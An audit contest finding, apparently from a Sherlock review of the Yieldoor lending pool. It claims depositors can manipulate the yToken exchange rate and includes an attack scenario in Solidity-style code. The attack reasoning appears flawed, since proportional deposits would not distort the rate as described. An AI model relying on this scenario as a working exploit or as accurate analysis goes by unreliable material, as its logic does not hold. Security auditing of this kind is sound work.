Skip to content

Latest commit

 

History

History
96 lines (70 loc) · 4.04 KB

012.md

File metadata and controls

96 lines (70 loc) · 4.04 KB

Perfect Opal Boar

High

Unbounded Exchange Rate Manipulation in reserveToYTokenExchangeRate Function

Summary

The reserveToYTokenExchangeRate function in the ReserveLogic library called by the _deposit function in the LendingPool contract contains a critical issue that allows malicious actors to manipulate the exchange rate between the base token and yTokens. The function lacks proper bounds checking and returns a fixed PRECISION value when totalYTokens or totalLiquidity is zero, creating an opportunity for economic attacks.

Snippet

https://github.com/sherlock-audit/2025-02-yieldoor/blob/main/yieldoor/src/LendingPool.sol#L113 https://github.com/sherlock-audit/2025-02-yieldoor/blob/main/yieldoor/src/libraries/ReserveLogic.sol#L82-L84

Description

// In LendingPool
function _deposit(address asset, uint256 amount, address onBehalfOf) internal returns (uint256 yTokenAmount) {
    DataTypes.ReserveData storage reserve = getReserve(asset);
    require(!reserve.getFrozen(), "reserve frozen");
    // update states
    reserve.updateState();

    // validate
    reserve.checkCapacity(amount);

@=> uint256 exchangeRate = reserve.reserveToYTokenExchangeRate();

    IERC20(asset).safeTransferFrom(msg.sender, reserve.yTokenAddress, amount);

    // ... Another code ... //
}

// In ReserveLogic
function reserveToYTokenExchangeRate(DataTypes.ReserveData storage reserve) internal view returns (uint256) {
    (uint256 totalLiquidity,) = totalLiquidityAndBorrows(reserve);
    uint256 totalYTokens = IERC20(reserve.yTokenAddress).totalSupply();
    
@=> if (totalYTokens == 0 || totalLiquidity == 0) {
        return PRECISION;
    }
    return totalYTokens * PRECISION / totalLiquidity;
}

The reserveToYTokenExchangeRate function returns PRECISION when totalYTokens or totalLiquidity is 0, which can cause inconsistencies in the exchange rate calculation.

This can allow an attacker to exploit the situation where totalYTokens or totalLiquidity is 0 and then a small initial deposit to create a 1:1 exchange rate (PRECISION). Then the attacker will make a large deposit to distort the exchange rate which causes the formula totalYTokens * PRECISION / totalLiquidity to become unbalanced. Subsequent users will receive disproportionate yTokens because the true value of their deposits is diluted.

Scenario

// 1. Setup - Assume the attacker has 1,000,000 tokens
uint256 attackAmount = 1_000_000 * 1e18;
        
// 2. Attack Steps:
        
    // a. First small amount deposit (eg 100 tokens)
    // This will result in a 1:1 exchange rate.
    uint256 smallDeposit = 100 * 1e18;
    underlying.approve(address(lendingPool), smallDeposit);
    lendingPool.deposit(address(underlying), smallDeposit, address(this));
        
    // b. Flash loans or large transfers for manipulation
    underlying.approve(address(lendingPool), attackAmount);
    lendingPool.deposit(address(underlying), attackAmount, address(this));
        
    // c. At this point the exchange rate has become distorted.
    // Exchange rate = (totalYTokens * PRECISION) / totalLiquidity
    // Where totalYTokens >> totalLiquidity
        
    // d. Withdraw a small portion of yToken
    uint256 yTokenBalance = yToken.balanceOf(address(this));
    uint256 withdrawAmount = yTokenBalance / 100; // 1% dari balance
    lendingPool.redeem(address(underlying), withdrawAmount, address(this));
        
    // e. Result: Attacker gets more underlying tokens
    // due to distorted exchange rates
    
    
// Impact on other users:

    // Victim tries to deposit after exchange rate is distorted
    uint256 victimAmount = 1000 * 1e18;
    underlying.approve(address(lendingPool), victimAmount);
        
    // Victim will receive a disproportionate amount of yTokens
    // because the exchange rate has been manipulated
    lendingPool.deposit(address(underlying), victimAmount, address(this));
        
    // Victim now has yTokens which are worth less
    // dari yang seharusnya

Impact

Dilution of depositor value

Recommendation

Implement exchange rate bounds.